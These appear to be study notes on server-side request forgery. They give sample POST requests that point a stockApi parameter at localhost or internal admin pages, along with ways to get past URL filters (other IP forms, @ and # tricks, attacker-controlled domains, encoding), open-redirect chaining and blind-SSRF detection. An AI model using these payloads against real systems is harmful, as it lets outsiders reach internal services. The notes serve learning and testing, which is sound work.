How to find it
The key ia a controllable input where a full http address can be entered:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
And preferably the contents of the URL are displayed.
for example, this will display the admin page of the localhost
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
or another host in the network:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://192.168.0.68/admin
Filter bypass
blacklisted
- Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.
- Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.
- Obfuscating blocked strings using URL encoding or case variation.
whitelisted
- You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.
- You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.
- You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.
- You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
- You can use combinations of these techniques together.
or when open direct is possible:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
Blind SSRF
Use Burp Collaborator or similar to try and trigger a response. For instance by using collaborator everywhere plugin
Also look for
- Hostnames in request parameters that are processed to a URL
- URLs in data formats like XML to cause XXE
- SSRF via Referer header